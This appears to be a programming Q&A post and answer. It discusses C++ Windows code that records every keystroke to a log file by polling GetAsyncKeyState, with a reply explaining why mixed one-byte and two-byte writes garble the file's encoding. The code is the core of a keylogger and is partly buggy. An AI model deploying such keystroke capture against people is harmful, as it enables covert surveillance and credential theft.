I'm making a program that captures all the keys the user enters & saves them to a file.
There's one problem I'm really confused with. Sometimes when I open the text file it seems like it's ALL in Unicode.
I typed the Russian characters and they're correct.
However, sometimes the file is in a normal form.
This converts the key to Unicode:
void writeScannedKey(unsigned char key)
{
HWND windowHandle{ GetForegroundWindow() };
DWORD threadID{ GetWindowThreadProcessId(windowHandle, NULL) };
BYTE *keyState{ (BYTE*)malloc(256) };
GetKeyboardState(keyState);
HKL hkl{ GetKeyboardLayout(threadID) };
wchar_t uniChar[16]{ 0 };
UINT virtualKey{ (MapVirtualKeyEx(key, MAPVK_VK_TO_CHAR, hkl)) };
ToUnicodeEx(virtualKey, key, keyState, uniChar, 16, 0, hkl);
writeLog(uniChar);
free(keyState);
}
The program loop (writeScannedKey()
is the function above):
while (true)
{
for (key = 8; key <= 222; ++key)
{
if (GetAsyncKeyState(key) == -32767)
{
if ((key >= 39) && (key < 91))
{
writeScannedKey(key);
break;
}
if (isShitKey(key) == FALSE)
writeLog4(key);
}
}
}
I have 3 different functions that accept a different data type from each other (I know, it's bad). The WriteLog4
function is a function that I use to write normal characters to a file, writeLog2
is used to print for example ALT key, RWin key, etc. & writeLog
is a function which gets called from the writeScannedKey()
function.
void writeLog(TCHAR *text)
{
std::wstring s{ g_name };
std::string name{ s.begin(), s.end() };
std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);
CloseHandle(file);
}
void writeLog2(LPCSTR text)
{
std::wstring s{ g_name };
std::string name{ s.begin(), s.end() };
std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
WriteFile(file, text, lstrlenA(text) * sizeof(char), NULL, NULL);
CloseHandle(file);
}
void writeLog4(unsigned char text)
{
std::wstring s{ g_name };
std::string name{ s.begin(), s.end() };
std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);
CloseHandle(file);
}
When you use the writeScannedKey
function, the following codes all write two bytes to the file
WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);
But when you use the writeLog4
function, you only write one byte at a time:
WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);
When you use UTF-16 encoding to read a file, two bytes will be read as one character, a single byte will be combined with subsequent bytes, and then an error character will be displayed.